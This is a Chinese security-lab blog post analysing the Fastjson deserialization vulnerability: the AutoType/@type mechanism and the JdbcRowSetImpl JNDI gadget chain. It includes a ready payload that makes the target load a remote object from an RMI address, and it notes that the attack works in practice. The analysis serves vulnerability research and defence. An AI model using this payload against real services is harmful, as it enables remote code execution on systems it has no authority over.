【干货】Fastjson反序列化漏洞原理分析
2022-9-30 17:33:13 Author: 戟星安全实验室(查看原文) 阅读量:13 收藏

戟星安全实验室
    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约2915字,阅读约需8分钟。

FastJson用法

1.基本用法
// 序列化String text = JSON.toJSONString(obj); // 反序列化VO vo = JSON.parse(); // 解析为JSONObject类型或者JSONArray类型VO vo = JSON.parseObject("{...}"); // JSON文本解析成JSONObject类型VO vo = JSON.parseObject("{...}", VO.class);  // JSON文本解析成VO.class类
2)JSON.toJSONString() 序列化成JSON代码
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming");// String s = JSON.toJSONString(user);//        System.out.println(s); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1); }}

FastJson原理

JSON.toJSONString(object,SerializerFeature.WriteClassName)

JSON.toJSONString方法有一个参数SerializerFeature.WriteClassName,可以使得fastjson支持自省,开启自省之后序列化成JSON的数据就会多出一个@type,也就是这个参数导致了FastJson的反序列化漏洞。在对JSON数据进行反序列化的时候,会去调用指定类中的get/set/is方法。这个参数实现的功能在Fastjson中被称作AutoType,即自动类型。

=> AutoType功能开启之后,FastJson就会自动解析@type参数字段

如果不添加这个参数,我们的javaBean序列化后应该是这样:

可以看出多了一个@type参数

如果没有SerializerFeature.WriteClassName参数,我们进行反序列化代码时,代码这样写:

添加这个参数时:

可以看出多了一个@type参数

如果没有SerializerFeature.WriteClassName参数,我们进行反序列化代码时,代码这样写:

String s="{\"age\":25,\"name\":\"armbandnewpy\"}";JSONObject jsonObject = JSON.parseObject(s);

这时候我们不能控制到底要反序列化什么类型的对象,只能开发者在代码中指定好,如这样:

   

而如果我们在序列化的时候添加了该参数,我们则可以在反序列化的时候,通过控制@type键的值来控制该序列化数据要被反序列化成什么样的对象,即调用什么类的set方法,接下来要用到的就是找到这样一个类可以被用来完成我们想要的功能。

如,其中一个类为com.sun.rowset.JdbcRowSetImpl

类关系图:

  • JSON:门面类,提供入口

  • DefaultJsonParser:主类

  • ParserConfig:配置相关类

  • JSONLexerBase:字符分析类

  • JavaBeanDeserializerJavaBean反序列化类

FastJson利用链分析

三条常用的链:JdbcRowSetImpl、TemplatesImpl、BasicDataSource
一、JdbcRowSetImpl
1)源码分析
查看com.sun.rowset.JdbcRowSetImpl类,定位到setDataSource
这段代码首先判断了this.getDataSourceName()是否为空,我们定位到getDataSourceName()方法处查看一下他的返回值
返回dataSource是一个字符串类型,那么我们在反序列化调用set方法时dataSource首先是没有值的,也就是说this.getDataSourceName()的返回值为null,这逻辑进入到else部分,调用了父类的setSourceName,并将var1传了进去。其实这一串都不重要,只需要知道反序列化的时候会自动调用setDataSourceNameDataSourceName赋值就可以了。
再在com.sun.rowset.JdbcRowSetImpl类中定位到setAutocommit方法:
再定位到this.connect方法:
在这里我们注意到有个lookup方法,该方法就是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。如果其参数可控,那么就可能被攻击,而this.getDataSourceName是获取DataSourceName值的方法,那么我们只要控制了this.setDataSourceName方法的参数就可以访问我们自己的服务器了。而我们知道Fastjson在反序列化的时候,会自动调用所有的set方法,正好可以通过setDataSourceNameDataSourceName进行赋值。于是我们就有了这样的Fastjson序列化数据:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC","autoCommit":true}
2Payload分析
payload中的a对象用来当作缓存绕过,需要关注的是第二个对象
注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象。
根据lookupcom.sun.jndi.rmi.registry.RegistryContext.lookup()
跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象
总结:
实战可以利用,JDNI注入基于较低版本的JDKLDAP适用范围更广
必须能出网,加载远端的恶意字节码,造成了局限性
 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室
# 长按二维码 关注我们 #

文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247500948&idx=1&sn=65cf7f1b1765b3b68aecbe217b33de07&chksm=c27ece85f50947933662587a3f151931711b171d758e40c648f42d339565162e79f332ed4d5e#rd
如有侵权请联系:admin#unsafe.sh